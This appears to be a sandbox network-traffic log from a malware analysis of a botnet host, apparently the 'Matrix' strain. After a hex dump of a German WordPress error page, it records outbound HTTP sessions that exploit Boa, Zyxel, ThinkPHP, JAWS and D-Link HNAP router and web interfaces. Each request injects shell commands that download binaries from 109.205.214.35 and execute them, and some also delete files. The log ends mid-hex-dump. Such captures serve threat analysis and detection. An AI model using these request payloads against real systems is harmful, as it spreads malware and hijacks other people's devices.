2d 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 26 20 21 28 49 45 20 38 29 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 20 7c 20 41 6e 6e 61 20 48 6f 66 20 42 65 72 67 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6e 6e 61 68 6f 66 2d 62 65 72 67 2e 64 65 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 6e 6e 61 68 6f 66 2d 62 65 72 67 2e 64 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 77 65 6e 74 79 74 77 65 6c 76 65 2f 6a 73 2f 68 74 6d 6c 35 2e 6a 73 3f 76 65 72 3d 33 2e 37 2e 30 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 61 6e 6e 61 68 6f 66 2d 62 65 72 67 2e 64 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 41 6e 6e 61 20 48 6f 66 20 42 65 72 67 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6e 6e 61 68 6f 66 2d 62 65 72 67 2e 64 65 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 41 6e 6e 61 20 48 6f 66 20 42 65 72 67 20 26 72 61 71 75 6f 3b 20 Data Ascii: <!DOCTYPE html>...[if IE 7]><html class="ie ie7" lang="de-DE"><![endif]-->...[if IE 8]><html class="ie ie8" lang="de-DE"><![endif]-->...[if !(IE 7) & !(IE 8)]>...><html lang="de-DE">...<![endif]--><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width" /><title>Seite nicht gefunden \| Anna Hof Berg</title><link rel="profile" href="http://gmpg.org/xfn/11" /><link rel="pingback" href="https://annahof-berg.de/xmlrpc.php">...[if lt IE 9]><script src="https://annahof-berg.de/wp-content/themes/twentytwelve/js/html5.js?ver=3.7.0" type="text/javascript"></script><![endif]--><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//annahof-berg.de' /><link rel="alternate" type="application/rss+xml" title="Anna Hof Berg » Feed" href="https://annahof-berg.de/feed/" /><link rel="alternate" type="application/rss+xml" title="Anna Hof Berg »

Session ID	Source IP	Source Port	Destination IP	Destination Port
1108	192.168.2.13	50530	213.78.141.128	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:15.822190046 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1109	192.168.2.13	49942	213.48.227.243	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:15.853677988 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1110	192.168.2.13	42238	213.194.136.232	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:15.863287926 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1111	192.168.2.13	56658	213.243.54.93	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:16.081696033 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1112	192.168.2.13	33602	213.243.37.104	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:16.084548950 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1113	192.168.2.13	34784	206.233.156.229	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:16.205336094 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:16.513762951 CET	504	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:23:13 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Mar 21, 2024 05:23:17.418688059 CET	504	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:23:13 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Mar 21, 2024 05:23:19.228276968 CET	504	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:23:13 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1114	192.168.2.13	33660	95.179.216.69	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:16.989903927 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1115	192.168.2.13	57098	188.34.197.73	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.025057077 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:17.220240116 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1116	192.168.2.13	58484	194.255.101.213	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.050605059 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:17.248286963 CET	512	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Fri, 22 Sep 2023 00:27:57 GMT Server: lighttpd/1.4.54 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>
Mar 21, 2024 05:23:17.879348040 CET	512	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Fri, 22 Sep 2023 00:27:57 GMT Server: lighttpd/1.4.54 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>
Mar 21, 2024 05:23:19.112850904 CET	512	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Fri, 22 Sep 2023 00:27:57 GMT Server: lighttpd/1.4.54 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1117	192.168.2.13	44446	34.49.71.32	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.139611006 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:23:17.644253969 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 